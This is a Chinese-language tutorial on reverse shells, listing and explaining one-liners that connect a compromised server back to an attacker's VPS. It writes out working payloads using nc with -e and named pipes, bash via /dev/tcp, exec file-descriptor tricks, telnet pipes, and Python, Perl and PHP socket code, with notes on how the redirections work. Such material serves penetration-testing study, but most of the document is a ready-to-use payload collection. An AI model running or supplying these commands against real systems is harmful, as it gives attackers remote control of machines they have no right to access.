反弹shell常用命令及分析
1.利用nc反弹shell
一般情况下
服务端:nc 192.168.247.1 8888 -e /bin/sh
vps:nc lvp 8888
nc参数说明
-e program to exec after connect,程序重定向
-l listen mode,使用监听模式
-p port,通信端口
-v verbose,详细输出
这里的/bin/sh是linux的shell解释器,也可以使用/bin/bash。sh相当于开启了POSIX标准的bash
如果是windows则为:C:\Windows\System32\cmd.exe
服务端的nc没有-e参数
如果服务端nc没有-e参数,可以创建一个管道使nc和/bin/sh连接
服务端先创建一个管道文件:mkfifo /tmp/backpipe
然后执行:/bin/sh 0</tmp/backpipe | nc 192.168.247.1 8888 1>/tmp/backpipe
vps: nc -lvp 8888
0是标准输入,1是标准输出
< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向
这里0和1可以省略
/bin/sh < /tmp/backpipe | nc 192.168.247.1 8888 > /tmp/backpipe
linux管道
https://zhuanlan.zhihu.com/p/58489873
命名管道中如果只有读或写会阻塞,这里相当于形成了闭合的回路
nc的输出重定向/tmp/backpipe,/bin/sh的输入重定向到/tmp/backpipe(/tmp/backpipe的内容就是/bin/sh的输入)。如果在服务端分开执行这两条命令,/bin/sh < /tmp/backpipe这边会显示出我们vps上执行命令的结果,即结果显示在服务端上。我们可以用匿名管道“|”来将输出结果连接到nc(vps),就可以在vps上显示执行结果了
nc --> pipe --> /bin/sh --> nc
linux一切皆文件,命令无法直接拿给/bin/sh执行,要文件才行,所以利用了管道
类似命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
## 2.bash反弹shell ### 常规方法 ``` 服务端:bash -i >& /dev/tcp/192.168.247.1/8888 0>&1 vps:nc -lvp 8888 ``` linux的shell是什么 https://blog.csdn.net/DLUTBruceZhang/article/details/9150455 简单的说就是可以解释命令让系统执行 ``` bash -i: 产生一个交互式的shell /dev/tcp/ip/port: 与监听端口的服务器进行socket通信 bash -i > /dev/tcp/192.168.247.1/8888:将产生的交互式shell的输出重定向到/dev/tcp/192.168.247.1/8888(vps) 0>&1:把标准输入赋给标准输出。相当于:bash -i < /dev/tcp/192.168.247.1/8888此时输出是重定向到vps上的,执行这条命令后,输入也重定向到了vps。 ``` 此时输入和输出都重定向到vps上,及vps输入的内容到服务端执行,然后输出到vps,从而产生交互式shell。 但是服务端可以看到攻击者输入的命令,可以将错误输出和标准输出都重定向到一个地方,来解决这个问题。 ``` bash -i > /dev/tcp/192.168.247.1/8888 0>&1 2>&1 等同于:bash -i >& /dev/tcp/192.168.247.1/8888 0>&1 ``` inux shell下常用的文件描述符是: ``` 1.标准输入 (stdin) :代码为 0 ,使用 < 或 << 2.标准输出 (stdout):代码为 1 ,使用 > 或 >> 3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>> ``` 标准输出与标准错误输出重定向: &> >& 文件描述符的复制:n<&m / n>&m。这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开 所以上面反弹shell命令等同于 ``` bash -i &> /dev/tcp/192.168.247.1/8888 0<&1 ```
bash反弹shell就是输入输出和错误输出都重定向到vps,因此服务端执行攻击者命令,且没有命令出现。
其他方法
- 把输入复制到错误输入(0复制到2)
bash -i >& /dev/tcp/192.168.247.1/8888 0>&2
- exec加sh
exec 196>/dev/tcp/192.168.247.1/8888; sh <&196 >&196 2>&196
或
exec 197<>/dev/tcp/192.168.247.1/8888; /bin/sh <&197 >&197 2>&197
或
exec 197<>/dev/tcp/192.168.247.1/8888; bash -i <&197 >&197 2>&197
196、197是我们自定义的文件描述符,sh、/bin/sh、bash -i都可以交互式的执行shell
<>是以读写方式重定向,通过操作197即可操作/dev/tcp/192.168.247.1/8888
网上的方法开头多了exec 0&0 2>&0这条命令,我测试发现不加也可以执行shell
- exec加read循环
exec 5<>/dev/tcp/192.168.247.1/8888;cat <&5|while read line;do $line >&5 2>&1;done
读取每次的输入,“|”管道符是将前面的输出(cat <&5)作为后面的输入(read循环)
read循环:
while read line
do
…
done < file
通过输入重定向,按行读取file并将内容赋给变量line,然后执行do中的命令。最后一行读取完后循环结束。
do可以执行命令
3.telnet反弹shell
Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。
方式一
攻击者vps上监听两个端口,一个作为输入另一个作为输出
在目标机器上,利用管道,使用telnet连接vps,把vps的输入作为输出给/bin/bash,把执行结果作为输入给vps,在vps上显示执行结果。
vps: nc -lvp 7777
nc -lvp 8888
目标: telnet 192.168.247.1 7777 | /bin/bash | telnet 192.168.247.1 8888
在监听7777这边输入命令,即可在监听8888这边显示执行结果
方式二
利用命令管道实现和匿名管道原理一样,只不过是监听一个端口
vps: nc -lvp 8888
目标:mkfifo /tmp/backpipe;telnet 192.168.247.1 8888 0</tmp/backpipe|/bin/bash > /tmp/backpipe
创建一个命令管道/tmp/backpipe;telnet连接vps并把输入重定向到管道,这样vps输入的命令传到了管道中;然后把结果(vps输入的命令)作为输入给/bin/bash执行,/bin/bash的输出重定向到管道,显示在vps中。形成一个闭合的回路。
4.常见脚本反弹shell
python
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.247.1‘,8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"
fileno方法返回文件描述符
os.dup2(fd,fd2)将一个文件描述符 fd 复制到另一个 fd2。
创建一个socket连接,分别将标准输出输出和错误输出文件描述符复制给socket,达到交互式,最后开启shell
其他脚本反弹shell的原理也是类似
perl
perl -e ‘use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘
### php ``` php -r ‘$sock=fsockopen("192.168.247.1",8888);exec("/bin/sh -i <&3 >&3 2>&3");‘ ```
socat是nc的加强版,同样可以反弹shell。还有很多脚本如ruby、lua等都可以用来反弹shell,原理基本都是一样的